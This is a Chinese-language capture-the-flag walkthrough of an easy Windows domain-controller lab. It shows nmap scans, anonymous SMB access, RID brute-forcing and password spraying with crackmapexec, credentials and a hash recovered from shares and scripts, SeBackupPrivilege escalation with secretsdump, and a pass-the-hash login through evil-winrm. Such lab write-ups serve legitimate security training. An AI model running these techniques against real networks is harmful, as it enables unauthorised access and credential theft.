easy难度的windows靶机
信息收集
端口探测
nmap -sT --min-rate 10000 -p- 10.10.11.35 -oA ./port
发现开放了53,88,389等端口,推测为域控
进一步信息收集,对爆破的端口进行更加详细的扫描
小tips:对于众多的端口,可以借助awk&grep处理一下便于操作
grep open port.nmap | awk -F'/' '{print $1}' | paste -sd ','
ports=$(grep open port.nmap | awk -F '/' '{print $1}' | paste -sd ',')
echo $ports
对端口进行详细扫描:
sudo nmap -sTVC -O -p$ports 10.10.11.35
看到了主域名和二级域名,先写入/etc/hosts
大致看了下信息,决定先从smb服务进行渗透,看看是否有匿名登录之类的
SMB渗透
crackmapexec smb 10.10.11.35 -u 'guest' -p '' --shares
分别对HR和IPC$进行查看
smbclient -N //10.10.11.35/HR
smbclient -N //10.10.11.35/IPC$
在HR下发现txt,获得密码:Cicada$M6Corpb*@Lp#nZp!8
在拿到密码后,我们需要找到AD中的有效用户,便于进一步利用
有效用户枚举
通过前面nmap的扫描发现有Kerberos服务以及ldap
借助kerbrute爆破有效用户
https://github.com/ropnop/kerbrute
这个工具是利pre-authentication机制来判断用户名是否有效
./kerbrute_linux_amd64 userenum --dc 10.10.11.35 -d cicada.htb xato-net-10-million-usernames.txt
一无所获,也可能是字典的原因,我们也尝试利用LDAP服务来爆破用户名,可以借助ldapnomnom这个工具去爆破,但我们并不知道有效用户的格式,因此决定换一种方法,借助crackmapexec中的--rid-brute参数来寻找有效用户
借助crackmapexec
RID 是在 Windows 域中,每个用户账户、组账户和计算机账户都拥有的唯一标识符。一个完整的 Windows SID(Security Identifier)由多个部分组成,其中包括一个 RID,RID 用于唯一标识 Windows 域内的一个对象
当我们指定--rid-brute参数,crackmapexec会自动地尝试一系列不同的 RID 值,并通过它们来暴力破解账户密码。通常,我们可以利用该方法用于在目标机器上尝试找到有效的用户账户
crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute
我们肯定是想要用户,因此使用grep过滤一下
crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute | grep 'SidTypeUser'
最终获得一组用户保存为user_list,考虑密码喷洒
密码喷洒
crackmapexec smb 10.10.11.35 -u user_list -p 'Cicada$M6Corpb*@Lp#nZp!8'
成功获得一组凭据:michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
以这组凭据枚举一下smb服务
一个一个查看后发现并没什么可利用的,借助enum4linux来枚举一下
又发现了一组凭据:david.orelious:aRt$Lp#7t*VQ!3
在DEV下发现Backup_script.ps1,又发现了一组凭据
建立立足点
靶机开放了5985端口,手里也有三组凭据,一个一个尝试一下,最后通过emily.oscars用户建立立足点
权限提升
比较常见的一种提权方法
跟着模板打一下就行
secretsdump.py -sam sam -system system LOCAL
成功获得Administrator的hash
evil-winrm -i 10.10.11.35 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'
总结
前期通过信息收集,发现smb存在匿名登录,在'Notice from HR.txt'中发现了默认密码,然后进一步信息收集,去寻找有效用户,通过crackmapexec的--rid-brutr参数,爆破出了一组用户,然后进行密码喷洒获得一组凭据,michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
,利用这组凭据进行信息收集,利用enum4linux工具在枚举时又获得了david.orelious:aRt$Lp#7t*VQ!3
,利用david用户登录smb服务,在DEV下获得ps1文件里面包含了另一组凭据,最后利用该组凭据建立立足点,借助SeBackupPrivilege完成权限提升